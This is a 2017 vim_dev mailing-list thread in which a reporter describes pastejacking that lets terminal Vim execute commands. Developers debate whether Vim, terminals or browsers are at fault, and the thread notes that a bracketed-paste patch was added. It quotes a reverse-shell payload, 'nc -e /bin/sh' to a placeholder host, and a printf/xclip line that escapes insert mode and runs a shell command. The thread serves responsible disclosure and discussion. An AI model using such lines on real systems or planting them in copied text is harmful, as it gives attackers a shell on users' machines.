Vim vulnerability

[sıx]

Hi,

I have found a possibility to exit INSERT mode with a specially crafted
message, then executing code on the computer on which this message is
pasted. If you combine this with pastejacking (eg. user this he copies a
simple text message, but actually copies something that executes nc -e
/bin/sh r3m0t3.com), then it gives the possibility to remote code
execute. Just by a wrong copy paste from a bad website. Additionally you
don't need to be in INSERT mode to have it working.

PoC is ready, but first of all I would like to know if that's the
correct way to contact you about it or not. If yes, then please point me
out a trusted developer whom I can send my PoC. If not, please redirect
me to the correct place.

cheers,
sıx

[Marc Weber]

> cheers,
> sıx

Insert mode is not for pasting, see pasttoggle / paste optoins.
:r!cat then ctrl-d is a fast workaround for linux systems.

If you can reproduce your issue with paste mode you clearly have a found
a bug (IMHO). In the other case I'm unsure because pasting is no
different from typing thus you probably can paste :!<run command>
equally well in some way or <c-r>=system('...') like command (no idea,
never tried it)

Other people might have more knowledge.

Marc Weber

[sıx]

The trigger in this is a commonly used "ctrl+shift+v". I have asked
around a few vim users about how they copy a text from a website into a
file opened by vim. It looks like that everyone is doing that way.

Maybe I was not clear enough in the first mail, but the exploit scenario
can be the following:

1. User opens a website, for example "Vim Tutorial".
2. User copies text from the webpage, but it's pastejacked (eg. the user
copies the exploit payload and not what he sees on the site). Reference:
https://github.com/dxa4481/Pastejacking
3. User insert this text by "ctrl+shift+v" into a file opened by vim.
(note: he does not even need to be in INSERT mode of course.)
4. Then by this, INSERT mode is escaped if needed and the following is
executed: nc -e /bin/sh r3m0te.com 80


In case the file containing the crafted message, it does not escape, but
in case of manual copy paste there is always a way to make it work.

If you think it's just a bug, then I can share the PoC here, but for
sure it can be really dangerous.

cheers,
sıx

[Marc Weber]

> The trigger in this is a commonly used "ctrl+shift+v". I have asked
> around a few vim users about how they copy a text from a website into a
> file opened by vim. It looks like that everyone is doing that way.

Yeah - worse - its the recommended way because "shell code on websites"
could have <span hidden>...</span> code. Thus pasting into an editor
before running usually is the way to go. If that action is exploitable
it should be fixed in some way - and the :r!cat way is worth testing as
well to be sure.

Marc Weber

[sıx]

I have tested two ways now:

1. Copy to clipboard from browser.
2. Open Vim
3. :r! cat
4. Paste and wait.
5. Payloag gets executed, but in this case it's a bit harder to hide the
fact of the exploitation. In the previous case I wrote the user at best
sees only that the screen blinks.

1. Copy to clipboard from browser.
2. Create a new file with another text editor and save the clipboard
content.
3. Open Vim
4. :r! cat file_created.txt
5. Does not get executed.

sıx

[Nikolay Aleksandrovich Pavlov]

I am wondering what do you mean by “Vim”? If it is terminal Vim *and*
<C-S-v> is handled by the terminal itself (most likely, terminal Vim
cannot distinguish <C-v> and <C-S-v> because terminals send same byte
in both variants) then whether or not this is fixable depends on
whether or not terminal supports bracketed paste mode: if it does,
this can be fixed, otherwise cannot. In addition to this there is a
question whether pasted text can prematurely end paste mode itself, if
it can then this is terminal vulnerability and not Vim. Without the
terminal bracketed paste support all Vim sees is that “user is typing
very fast”, it cannot and should not prevent code in paste from being
executed: it is completely possible that Vim is being fed input from
e.g. some testing script (and I actually did something like this
myself).

*Vim* paste mode is utterly useless regarding the matter: it allows
escaping from insert mode just by `<Esc>`, so there still is a problem
if Vim cannot distinguish paste and input.

Note that any kind of pasting to GUI Vim should not be vulnerable, or
it is a fixable bug.

I personally use `"*p` or `"+p`. Pasting like this should not be
vulnerable with any kind of Vim UI. Basically if you want to paste
something to Vim you should make *Vim* take care of obtaining the
clipboard, `<C-S-v>` directs terminal. I have no idea why `:r !cat` is
vulnerable, best guess that if there is `<C-d>` in the paste then it
will end `cat` prematurely. Worse, while Vim telling terminal that it
can receive bracketed pastes is completely justified, Vim must not
assume that programs run with bang are also able to receive bracketed
pastes, so for `r !command` Vim should tell terminal “bracketed paste
can no longer be received” and `command` should again request
bracketed paste mode to receive bracketed pastes.

`<C-r>=system(…)` suggested by Marc Weber *must be* vulnerable, it is
the whole point of `<C-r>`. Literal pasting is `p` from normal mode
and `<C-r><C-r>` from insert mode, though I never used the latter
(`<C-r><C-r>+` and `<C-r><C-r>*` should not be vulnerable as well).

And, please, do not write `:r! cat`, this is highly misleading. Bang
here is not a command modifier, it is the start of the argument: use
`:r !cat`. Difference is that if it was a command modifier then proper
spelling of `:read ++enc=cp1251 !echo «»` would be `read! ++enc=cp1251
echo «»`, also using `:r !cat` looks more like `:!cat` then `:r! cat`
and these are related.

(BTW, why `:read ++enc=cp1251 !echo «»` does not yield the same result
as `:read !echo «» | iconv -f cp1251`?)

>
> --
> --
> You received this message from the "vim_dev" maillist.
> Do not top-post! Type your reply below the text you are replying to.
> For more information, visit http://www.vim.org/maillist.php
>
> ---
> You received this message because you are subscribed to the Google Groups "vim_dev" group.
> To unsubscribe from this group and stop receiving emails from it, send an email to vim_dev+u...@googlegroups.com.
> For more options, visit https://groups.google.com/d/optout.

[sıx]

It sounds like we went a bit far with guessing. I think it would be
easier if I send the PoC to someone trusted here. Question arises
though, who is that or if multiple, then who are these people?

sıx

[Christian Brabandt]

Hi sıx!

On Mi, 18 Jan 2017, sıx wrote:

> PoC is ready, but first of all I would like to know if that's the
> correct way to contact you about it or not. If yes, then please point me
> out a trusted developer whom I can send my PoC. If not, please redirect
> me to the correct place.

according to :h bugs

Send bug reports to: Vim Developers <vim...@vim.org>
This is a maillist, many people will see the message. If you don't want that,
e.g. because it is a security issue, send it to <bu...@vim.org>, this only goes
to the Vim maintainer (that's Bram).


Best,
Christian
--
"Warum hast Du alter Junggeselle jetzt doch geheiratet?"
"Die Wirtshauskost hat mir nicht mehr geschmeckt."
"Und jetzt?"
"Jetzt schmeckt sie mir wieder!"

[Nikolay Aleksandrovich Pavlov]

2017-01-19 17:34 GMT+03:00 Christian Brabandt <cbl...@256bit.org>:
> Hi sıx!
>
> On Mi, 18 Jan 2017, sıx wrote:
>
>> PoC is ready, but first of all I would like to know if that's the
>> correct way to contact you about it or not. If yes, then please point me
>> out a trusted developer whom I can send my PoC. If not, please redirect
>> me to the correct place.
>
> according to :h bugs
>
> Send bug reports to: Vim Developers <vim...@vim.org>
> This is a maillist, many people will see the message. If you don't want that,
> e.g. because it is a security issue, send it to <bu...@vim.org>, this only goes
> to the Vim maintainer (that's Bram).

I sent my variant of PoC to Br...@vim.org, this is email from most of
runtime files. Also Br...@moolenar.net, this is email from From header
of messages with patches (and to six himself, so he can check).

Though I think this thread has already more then enough information to
create proof of concept. Also not sure, but I faintly remember that
this vulnerability was already discussed, most likely in some threads
with bracketed paste mode discussions.

>
>
> Best,
> Christian
> --
> "Warum hast Du alter Junggeselle jetzt doch geheiratet?"
> "Die Wirtshauskost hat mir nicht mehr geschmeckt."
> "Und jetzt?"
> "Jetzt schmeckt sie mir wieder!"
>

[sıx]

On 01/19/2017 03:34 PM, Christian Brabandt wrote:
> Send bug reports to: Vim Developers <vim...@vim.org>
> This is a maillist, many people will see the message. If you don't want that,
> e.g. because it is a security issue, send it to <bu...@vim.org>, this only goes
> to the Vim maintainer (that's Bram).

Hi,

Thank you, I have just sent the PoC to the bu...@vim.org mail address.

sıx

[Michal Grochmal]

Hi guys,

I went through the list of emails about this topic and am a little
confused why it is being such a fuss. Apologies in advance if i'm
talking out of my ass but, at least according to my understanding, there
is no way for Vim to be immune to content pasted into it.

Vim is as much a scripting environment as is perl or python (you can
even execute python with a clever paste).

> >>> Yeah - worse - its the recommended way because "shell code on websites"
> >>> could have <span hidden>...</span> code. Thus pasting into an editor
> >>> before running usually is the way to go. If that action is exploitable
> >>> it should be fixed in some way - and the :r!cat way is worth testing as
> >>> well to be sure.

Assuming <span hidden> you could add almost any control characters to
the paste, and, given that you can paste either <esc> or the mentioned
<c-V> (Ctrl+Shift+v) you're already in trouble.

If you can paste <esc> into Vim, and am pretty sure I can do that since
the clipboard is a byte buffer you can execute anything. For example,
on my machine I do

printf "%s" '^[:!echo vulnerable > ~/vulnerable^M' |
xclip -selection clipboard

xclip -selection clipboard is a good simulation of typing <C-c> in a
browser since they perform exactly the same, they place the bytes in the
same Xorg clipboard.

Now I use the rxvt/xterm default <c-V> (Ctrl+Shift+v) whilst Vim is in
INSERT mode and I get a file created in my home directory.

Note: I used terminal escapes to build ^[ (0x1b) and ^M (0xc).

------

This is common to all scripting environments and there isn't anything
that can be done about this. This is no different than pasting into an
open python session (from a security standpoint).

I can create strings with printf where I can "exploit" in the same way
emacs, gnu screen, and possibly many others. This isn't a
vulnerability, it is a side effect of a scripting environment.

I may be wrong, but this is what I understood the discussed problem is
about.

Cheers,
--
Mike Grochmal
GPG key ID 0xC840C4F6
/"\ ASCII Ribbon Campaign
\ / - against HTML emails
X - against proprietary attachments
/ \ http://en.wikipedia.org/wiki/ASCII_Ribbon_Campaign

[Christian J. Robinson]

On Thu, 19 Jan 2017, Michal Grochmal wrote:

> I went through the list of emails about this topic and am a little
> confused why it is being such a fuss. Apologies in advance if i'm
> talking out of my ass but, at least according to my understanding,
> there is no way for Vim to be immune to content pasted into it.

I agree. The real security problem is that the browser allows hidden
data into the system clipboard without the user being aware of it. In
fact, as far as I know, browsers allow the clipboard to be silently
modified by client-side scripting.

I also read through this thread and as far as I know the question
about whether this affects both console Vim and gVim was never
answered. If it affects gVim, I agree there's potentially an issue
that can be fixed, but if it's only console Vim, this is likely not
resolvable.

- Christian

--
Christian J. Robinson <hep...@gmail.com>
Oxymoron #7: Twelve-ounce pound cake

[Nikolay Aleksandrovich Pavlov]

I think that handling this problem is the primary goal of terminal’s
bracketed paste mode. E.g. zsh should not be affected.

>
> Cheers,
> --
> Mike Grochmal
> GPG key ID 0xC840C4F6
> /"\ ASCII Ribbon Campaign
> \ / - against HTML emails
> X - against proprietary attachments
> / \ http://en.wikipedia.org/wiki/ASCII_Ribbon_Campaign
>

[Nikolay Aleksandrovich Pavlov]

2017-01-19 22:12 GMT+03:00 Christian J. Robinson <hep...@gmail.com>:
> On Thu, 19 Jan 2017, Michal Grochmal wrote:
>
>> I went through the list of emails about this topic and am a little
>> confused why it is being such a fuss. Apologies in advance if i'm talking
>> out of my ass but, at least according to my understanding, there is no way
>> for Vim to be immune to content pasted into it.
>
>
> I agree. The real security problem is that the browser allows hidden data
> into the system clipboard without the user being aware of it. In fact, as
> far as I know, browsers allow the clipboard to be silently modified by
> client-side scripting.
>
> I also read through this thread and as far as I know the question about
> whether this affects both console Vim and gVim was never answered. If it
> affects gVim, I agree there's potentially an issue that can be fixed, but if
> it's only console Vim, this is likely not resolvable.

It can be resolved with bracketed paste, if both terminal and Vim
support bracketed paste. I do not remember the current state of
bracketed paste support in Vim, but AFAIR there were some patches
somewhere.

>
> - Christian
>
> --
> Christian J. Robinson <hep...@gmail.com>
> Oxymoron #7: Twelve-ounce pound cake
>
>

[Michal Grochmal]

> It can be resolved with bracketed paste, if both terminal and Vim
> support bracketed paste. I do not remember the current state of
> bracketed paste support in Vim, but AFAIR there were some patches
> somewhere.

That's true, bracketed paste should be available on most terminals
today. xfree86.org did standardise it:

http://www.xfree86.org/current/ctlseqs.html#Bracketed%20Paste%20Mode

And there is a plugin:
https://github.com/ConradIrwin/vim-bracketed-paste

It works in an incredibly simpe way :)

substitute(a:s, "\<Esc>", "\<Esc>\<Esc>", 'g')

On the bad side it has a tmux wrapper, looking at it i *guess* it will
fail on something like GNU screen. But then again, GNU screen is
vulnerable to this kind of pasting by itself.

[Bram Moolenaar]

sıx wrote:

> I have tested two ways now:
>
> 1. Copy to clipboard from browser.
> 2. Open Vim
> 3. :r! cat
> 4. Paste and wait.
> 5. Payloag gets executed, but in this case it's a bit harder to hide the
> fact of the exploitation. In the previous case I wrote the user at best
> sees only that the screen blinks.

This is not different from doing this in a shell. Would you claim the
shell is vulnerability? I don't think so. I also don't think this is a
common use case.

> 1. Copy to clipboard from browser.
> 2. Create a new file with another text editor and save the clipboard
> content.
> 3. Open Vim
> 4. :r! cat file_created.txt
> 5. Does not get executed.

Instead of another text editor you can use Vim, so long as you make sure
you paste it from the clipboard into Vim, not pasting into the terminal,
which then forwards it to Vim as if it was typed. So you could say the
terminal is vulnerable. Again, this especially applies when
copy/pasting a command into a shell.

So far I haven't seen anything wrong about what Vim is doing, it's just
doing what the user ordered. So yes, if you paste stuff you have to be
careful that it doesn't contain bad things. That's normal.

--
You cannot propel yourself forward by patting yourself on the back.

/// Bram Moolenaar -- Br...@Moolenaar.net -- http://www.Moolenaar.net \\\
/// sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ \\\
\\\ an exciting new programming language -- http://www.Zimbu.org ///
\\\ help me help AIDS victims -- http://ICCF-Holland.org ///

[Bram Moolenaar]

sıx wrote:

> On 01/19/2017 08:05 AM, Marc Weber wrote:
> >
> > Insert mode is not for pasting, see pasttoggle / paste optoins.
> > :r!cat then ctrl-d is a fast workaround for linux systems.
> >
> > If you can reproduce your issue with paste mode you clearly have a found
> > a bug (IMHO). In the other case I'm unsure because pasting is no
> > different from typing thus you probably can paste :!<run command>
> > equally well in some way or <c-r>=system('...') like command (no idea,
> > never tried it)
> >
> > Other people might have more knowledge.
> >
> > Marc Weber
> >
>
> The trigger in this is a commonly used "ctrl+shift+v". I have asked
> around a few vim users about how they copy a text from a website into a
> file opened by vim. It looks like that everyone is doing that way.

That is not so. A user should start insert mode and the paste with
a middle mouse click. Only then will Vim know that this is pasted text
and handle it properly.

When using ctrl-shift-v you are actually pasting into the terminal. Vim
doesn't see this as a paste action. It's then the terminal that sends
the pasted text to the running program. If that's Vim then it will
execute the keystrokes as if they were typed. Just like any other
program would do that, including a shell. There is nothing wrong with
that.

> Maybe I was not clear enough in the first mail, but the exploit scenario
> can be the following:
>
> 1. User opens a website, for example "Vim Tutorial".
> 2. User copies text from the webpage, but it's pastejacked (eg. the user
> copies the exploit payload and not what he sees on the site). Reference:
> https://github.com/dxa4481/Pastejacking
> 3. User insert this text by "ctrl+shift+v" into a file opened by vim.
> (note: he does not even need to be in INSERT mode of course.)
> 4. Then by this, INSERT mode is escaped if needed and the following is
> executed: nc -e /bin/sh r3m0te.com 80
>
>
> In case the file containing the crafted message, it does not escape, but
> in case of manual copy paste there is always a way to make it work.
>
> If you think it's just a bug, then I can share the PoC here, but for
> sure it can be really dangerous.

Yes, copy/pasting stuff from a website can be dangerous. Guess what,
just opening a web site is already dangerous (that's how much phishing
attacks work, they just trick you into opening a web site that's
infected).

In my opinion both problems need to be fixed on the side of the browser,
anything else isn't going to fix the problem.

--
"Intelligence has much less practical application than you'd think."
-- Scott Adams, Dilbert.

[sıx]

Thank you all for the additional information and helping to figure this
issue out on a deeper level. Discussing copy-paste methods is useful in
general for sure, but as I mentioned, I have sent the PoC already to
bugs@. Therefor I think it's best to leave guessing behind, then to wait
until we get a final response for this specific case and that the
exploit gets published.

sıx

[Christian J. Robinson]

For what it's worth, Bram is the main developer and the copyright
owner of Vim. As he has now responded, unless he chooses to update his
response later that is the final word.

> --
> --
> You received this message from the "vim_dev" maillist.
> Do not top-post! Type your reply below the text you are replying to.
> For more information, visit http://www.vim.org/maillist.php
>
> ---
> You received this message because you are subscribed to the Google Groups "vim_dev" group.
> To unsubscribe from this group and stop receiving emails from it, send an email to vim_dev+u...@googlegroups.com.
> For more options, visit https://groups.google.com/d/optout.

[sıx]

@Bram could you please verify that you have received the PoC and still
think it's not a vulnerability or at least a bug in handling pastes?

[Bram Moolenaar]

sıx wrote:

> @Bram could you please verify that you have received the PoC and still
> think it's not a vulnerability or at least a bug in handling pastes?

Yes, the PoC also shows it's much more a browser issue than anything
else.

I didn't know about the paste bracketing support in xterm, we can add
that anyway. Not that this is directly related to any vulnerability,
just to make pasting work better, avoid that pasted text is
unintentionally interpreted as commands.

--
E M A C S
s e l o h
c t t n i
a a t f
p r t
e o
l

[sıx]

On 01/20/2017 08:00 PM, Bram Moolenaar wrote:
>
> sıx wrote:
>
>> @Bram could you please verify that you have received the PoC and still
>> think it's not a vulnerability or at least a bug in handling pastes?
>
> Yes, the PoC also shows it's much more a browser issue than anything
> else.
>
> I didn't know about the paste bracketing support in xterm, we can add
> that anyway. Not that this is directly related to any vulnerability,
> just to make pasting work better, avoid that pasted text is
> unintentionally interpreted as commands.
>

I would appreciate if you make vim pasting work better. After this
improvement would be done on vim's side, I think it wouldn't matter if
we call it a vulnerability or not and neither that we point the issue to
vim or browsers. I mean, javascript or browser developers would say,
manipulating clipboard through js is a nice feature to work with and not
an issue. The point to me however, is that we could have a better paste.

At this point I move on and of course the improvement is totally up to
you. Thank you for taking time!

sıx

[lilydjwg]

On Thu, Jan 19, 2017 at 09:01:38PM +0100, Bram Moolenaar wrote:
>
> That is not so. A user should start insert mode and the paste with
> a middle mouse click. Only then will Vim know that this is pasted text
> and handle it properly.

I middle-click to paste whenever the Vim instance has a connection to my
X Window. But for ssh sessions, I usually have to use the terminal to
paste text. It'll be great if Vim supports bracketed mode so pasting can
be real pasting without X Window support.

And it can avoid to have to toggle paste mode.

--
Best regards,
lilydjwg

[Christian Brabandt]

Hi lilydjwg!

Patch 8.0.210 included bracketed paste mode.

Best,
Christian
--
Traue den Menschen doch etwas mehr, sie sind wohl manchmal besser als
wir meinen.
-- S. Gontard